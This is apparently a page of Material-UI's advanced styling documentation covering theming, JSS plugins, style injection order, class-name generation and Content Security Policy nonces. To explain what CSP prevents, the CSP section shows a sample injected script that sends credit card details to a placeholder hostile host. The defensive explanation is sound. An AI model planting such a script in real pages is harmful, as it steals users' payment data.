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Advanced

Advanced Usage.

Theming

Add a ThemeProvider to the top level of your app to access the theme down the React's component tree. Then, you can access the theme object in the style functions.

Accessing the theme in a component

You might need to access the theme variables inside your React components.

useTheme hook

withTheme HOC

Theme nesting

You can nest multiple theme providers. This can be really useful when dealing with different area of your application that have distinct appearance from each other.

<ThemeProvider theme={outerTheme}>
  <Child1 />
  <ThemeProvider theme={innerTheme}>
    <Child2 />
  </ThemeProvider>
</ThemeProvider>


The inner theme will override the outer theme. You can extend the outer theme by providing a function:

<ThemeProvider theme={…} >
  <Child1 />
  <ThemeProvider theme={outerTheme => ({ darkMode: true, ...outerTheme })}>
    <Child2 />
  </ThemeProvider>
</ThemeProvider>

JSS plugins

JSS uses the concept of plugins to extend its core, allowing people to cherry-pick the features they need. You pay the performance overhead for only what's you are using. All the plugins aren't available by default. We have added the following list:

It's a subset of jss-preset-default. Of course, you are free to add a new plugin. Here is an example with the jss-rtl plugin.

import { create } from 'jss';
import { StylesProvider, jssPreset } from '@material-ui/styles';
import rtl from 'jss-rtl'

const jss = create({
  plugins: [...jssPreset().plugins, rtl()],
});

function App() {
  return (
    <StylesProvider jss={jss}>
      ...
    </StylesProvider>
  );
}

export default App;

String templates

If you prefer using the CSS syntax, you can use the jss-plugin-template plugin.

const useStyles = makeStyles({
  root: `
    background: linear-gradient(45deg, #fe6b8b 30%, #ff8e53 90%);
    border-radius: 3;
    border: 0;
    color: white;
    height: 48px;
    padding: 0 30px;
    box-shadow: 0 3px 5px 2px rgba(255, 105, 135, 0.3);
  `,
});

CSS injection order

The CSS injected by Material-UI to style a component has the highest specificity possible as the <link> is injected at the bottom of the <head> to ensure the components always render correctly.

You might, however, also want to override these styles, for example with styled-components. If you are experiencing a CSS injection order issue, JSS provides a mechanism to handle this situation. By adjusting the placement of the insertionPoint within your HTML head you can control the order that the CSS rules are applied to your components.

HTML comment

The simplest approach is to add an HTML comment that determines where JSS will inject the styles:

<head>
  <!-- jss-insertion-point -->
  <link href="..." />
</head>
import { create } from 'jss';
import { StylesProvider, jssPreset } from '@material-ui/styles';

const jss = create({
  ...jssPreset(),
  // We define a custom insertion point that JSS will look for injecting the styles in the DOM.
  insertionPoint: 'jss-insertion-point',
});

function App() {
  return <StylesProvider jss={jss}>...</StylesProvider>;
}

export default App;

Other HTML element

Create React App strips HTML comments when creating the production build. To get around the issue, you can provide a DOM element (other than a comment) as the JSS insertion point.

For example, a <noscript> element:

<head>
  <noscript id="jss-insertion-point" />
  <link href="..." />
</head>
import { create } from 'jss';
import { StylesProvider, jssPreset } from '@material-ui/styles';

const jss = create({
  ...jssPreset(),
  // We define a custom insertion point that JSS will look for injecting the styles in the DOM.
  insertionPoint: document.getElementById('jss-insertion-point'),
});

function App() {
  return <StylesProvider jss={jss}>...</StylesProvider>;
}

export default App;

JS createComment

codesandbox.io prevents the access to the <head> element. To get around the issue, you can use the JavaScript document.createComment() API:

import { create } from 'jss';
import { StylesProvider, jssPreset } from '@material-ui/styles';

const styleNode = document.createComment('jss-insertion-point');
document.head.insertBefore(styleNode, document.head.firstChild);

const jss = create({
  ...jssPreset(),
  // We define a custom insertion point that JSS will look for injecting the styles in the DOM.
  insertionPoint: 'jss-insertion-point',
});

function App() {
  return <StylesProvider jss={jss}>...</StylesProvider>;
}

export default App;

Server Side Rendering

Class names

You may have noticed that the class names generated by our styling solution are non-deterministic, so you can't rely on them to stay the same. The class names are generator by our class name generator Let's take the following style as an example:

const useStyles = makeStyles({
  root: {
    opacity: 1,
  },
}, {
  name: 'AppBar',
});

It will generate a AppBar-root-5pbwdt class name. However, the following CSS won't work:

.AppBar-root-5pbwdt {
  opacity: 0.6;
}

You have to use the classes property of a component to override them. Thanks to the non-deterministic nature of our class names, we can implement optimizations for development and production. They are easy to debug in development and as short as possible in production:

  • In development, the class name will be: .AppBar-root-5pbwdt, following this logic:
const sheetName = 'AppBar';
const ruleName = 'root';
const identifier = 5pbwdt;

const className = `${sheetName}-${ruleName}-${identifier}`;
  • In production, the class name will be: .jss5pbwdt, following this logic:
const productionPrefix = 'jss';
const identifier = 5pbwdt;

const className = `${productionPrefix}-${identifier}`;

If you don't like this default behavior, you can change it. JSS relies on the concept of class name generator.

Global CSS

We provide an option to make the class names deterministic with the dangerouslyUseGlobalCSS option. When turned on, the class names will look like this:

  • development: .AppBar-root
  • production: .AppBar-root

⚠️ Be cautious when using dangerouslyUseGlobalCSS. We provide this option as an escape hatch for prototyping. Relying on it for code running in production has the following implications:

  • Global CSS is inherently fragile. People use strict methodologies like BEM to workaround the issue.
  • It's harder to keep track of classes API changes.

⚠️ When using dangerouslyUseGlobalCSS standalone (without Material-UI), you should name your style sheets using the options parameter:

// Hook
const useStyles = makeStyles(styles, { name: 'button' });

// Styled-components
const Button = styled(styles, { name: 'button' })(ButtonBase);

// Higher-order component
const Button = withStyles(styles, { name: 'button' })(ButtonBase);

Content Security Policy (CSP)

What is CSP and why is it useful?

Basically, CSP mitigates cross-site scripting (XSS) attacks by requiring developers to whitelist the sources their assets are retrieved from. This list is returned as a header from the server. For instance, say you have a site hosted at https://example.com the CSP header default-src: 'self'; will allow all assets that are located at https://example.com/* and deny all others. If there is a section of your website that is vulnerable to XSS where unescaped user input is displayed, an attacker could input something like:

<script>
  sendCreditCardDetails('https://hostile.example');
</script>

This vulnerability would allow the attacker to execute anything. However, with a secure CSP header, the browser will not load this script.

You can read more about CSP on the MDN Web Docs.

How does one implement CSP?

In order to use CSP with Material-UI (and JSS), you need to use a nonce. A nonce is a randomly generated string that is only used once, therefore you need to add a server middleware to generate one on each request. JSS has a great tutorial on how to achieve this with Express and React Helmet. For a basic rundown, continue reading.

A CSP nonce is a Base 64 encoded string. You can generate one like this:

import uuidv4 from 'uuid/v4';

const nonce = new Buffer(uuidv4()).toString('base64');

It is very important you use UUID version 4, as it generates an unpredictable string. You then apply this nonce to the CSP header. A CSP header might look like this with the nonce applied:

header('Content-Security-Policy')
  .set(`default-src 'self'; style-src: 'self' 'nonce-${nonce}';`);

If you are using Server Side Rendering (SSR), you should pass the nonce in the <style> tag on the server.

<style
  id="jss-server-side"
  nonce={nonce}
  dangerouslySetInnerHTML={{ __html: sheetsRegistry.toString() } }
/>

Then, you must pass this nonce to JSS so it can add it to subsequent <style> tags. The client side gets the nonce from a header. You must include this header regardless of whether or not SSR is used.

<meta property="csp-nonce" content={nonce} />